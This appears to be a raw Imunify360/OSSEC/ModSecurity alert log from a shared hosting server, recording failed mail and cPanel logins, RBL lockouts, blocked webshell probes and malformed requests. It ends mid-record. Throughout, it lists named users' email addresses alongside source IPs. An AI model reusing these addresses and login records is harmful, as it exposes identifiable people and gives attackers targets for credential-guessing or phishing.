2026-01-13 13:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63479: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:10:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.85.254
country_id: 3469034
description:
Jan 13 13:11:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.85.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.85.254
country_id: 3469034
description:
Jan 13 13:11:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.85.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 13:11:17 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.174
country_id: 3175395
description:
Jan 13 13:11:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 13:11:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.60
country_id: 2017370
description:
Jan 13 13:13:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.60
country_id: 2017370
description:
2026-01-13 13:13:14 dovecot_login authenticator failed for H=([178.178.222.60]) [178.178.222.60]:38118: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.142.73.116
country_id: 2017370
domain: cordage.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:13-15.91.142.73.116||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.195
country_id: 3469034
description:
Jan 13 13:17:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.237
country_id: 2510769
description:
Jan 13 13:17:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-13 13:18:45 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.15.230.238
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/nissan1.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.70.174.162
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/logo1.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.66.3
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/mitsubishi.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.36.32.117
country_id: 1168579
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/toyota.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.86.29.138
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/logo.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.54.162.61
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/jaguar.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.247
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn.cookielaw.org/scripttemplates/otSDKStub.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.87.200.140
country_id: 953987
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.26.123.63
country_id: 953987
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/ford.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/vendors.bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.131
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/bundle187b.css?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/chunk-04eeced9.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.90
country_id: 3865483
description:
Jan 13 13:22:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.201.254.95
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/loreal/loreal-luxe/ralph-lauren-fragrances/index.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn-cgi/challenge-platform/h/g/scripts/jsd/7a55c9ccbaaa/maind41d.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.148.80
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/mazda.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.132.252
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/honda.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.170.62.120
country_id: 1269750
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/assets/71110014155176345.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.49.244.120
country_id: 3469034
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/renault.jpeg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.104.220
country_id: 1168579
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/images/content/clients/vauxhall.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.35.244.60
country_id: 2017370
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/assets/blink1.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.90
country_id: 3865483
description:
Jan 13 13:23:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.117
country_id: 3469034
description:
Jan 13 13:23:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:25:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14724: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:25:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14725: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.253.147.125
country_id: 3932488
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/comparator/src/ScalarComparator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.184.83.17
country_id: 6252001
description:
Jan 13 13:25:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.184.83.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.184.83.17
country_id: 6252001
description:
2026-01-13 13:25:59 dovecot_login authenticator failed for H=(h17.83.184.173.dynamic.ip.windstream.net) [173.184.83.17]:58290: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37660: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.154.182.160
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/day/19/140/1917091 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.248.153
country_id: 3469034
description:
Jan 13 13:27:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.248.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:27:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37661: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.248.153
country_id: 3469034
description:
Jan 13 13:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.248.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.89
country_id: 798544
description:
Jan 13 13:28:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.4
country_id: 3469034
description:
Jan 13 13:29:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.4
country_id: 3469034
description:
Jan 13 13:29:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.190
country_id: 3175395
description:
Jan 13 13:29:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.132
country_id: 3175395
description:
Jan 13 13:29:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 13:29:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.113
country_id: 2963597
description:
Jan 13 13:30:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.173
country_id: 3865483
description:
Jan 13 13:30:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.173 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.218
country_id: 6252001
description:
Jan 13 13:31:18 sv3 pure-ftpd[382875]: (?@162.142.125.218) [INFO] New connection from 162.142.125.218


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.173
country_id: 3865483
description:
Jan 13 13:31:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59639: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:35:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59640: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63544: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:38:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63545: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.56.164.73
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-40.172.56.164.73||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 13:40:45 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-13 13:41:47 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.201
country_id: 2510769
description:
Jan 13 13:42:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-13 13:43:34 dovecot_login authenticator failed for H=(0lv2AtGLvZ) [158.94.208.110]:62045: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 13 13:43:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 13 13:44:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-13 13:44:13 dovecot_login authenticator failed for H=(igzWypZtk) [158.94.208.110]:51592: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.132
country_id: 3865483
description:
Jan 13 13:44:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.62
country_id: 3865483
description:
Jan 13 13:44:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.22
country_id: 3175395
description:
Jan 13 13:45:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.191
country_id: 1269750
description:
Jan 13 13:45:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.181.51.76
country_id: 1269750
domain: printspecsolution.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70346.printspecsolution.com||ServerName:printspecsolution.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:77ef4ceaf6fa4c75674b27f74ef4d6158ad29a95||Title:0x2f6dee21||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.214.9
country_id: 1733045
description:
[2026-01-13 13:52:41 +0800] info [webmaild] 113.211.214.9 - lowts@lvconsult.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:53:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14733: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:53:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14733: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:55:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:38313: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:55:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:38313: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 13:56:43 H=([45.144.212.242]) [45.144.212.242]:56032 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59672: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59673: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63597: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.99
country_id: 798544
description:
Jan 13 14:06:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:06:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63599: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.24.185.98
country_id: 2017370
description:
Jan 13 14:06:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.24.185.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.185.98
country_id: 2017370
description:
2026-01-13 14:06:30 dovecot_login authenticator failed for H=([217.24.185.98]) [217.24.185.98]:33638: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.99
country_id: 798544
description:
Jan 13 14:06:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.64.209.11
country_id: 1814991
description:
Jan 13 14:09:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.64.209.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.64.209.11
country_id: 1814991
description:
2026-01-13 14:09:31 dovecot_login authenticator failed for H=(11.209.64.125.broad.dy.sc.dynamic.163data.com.cn) [125.64.209.11]:56349: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:11:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.109.103.118
country_id: 1819730
description:
[2026-01-13 14:13:49 +0800] info [webmaild] 103.109.103.118 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.78.34.80
country_id: 6252001
description:
2026-01-13 14:13:09 dovecot_login authenticator failed for H=108-78-34-80.lightspeed.brhmal.sbcglobal.net ([127.0.0.1]) [108.78.34.80]:54352: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.195
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/rain/167/583448 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
country_id: 2017370
description:
Jan 13 14:15:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
country_id: 2017370
description:
2026-01-13 14:15:49 dovecot_login authenticator failed for H=(dialup-solikamsk-212.120.163.110.uralcom.com) [212.120.163.110]:54296: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 11314
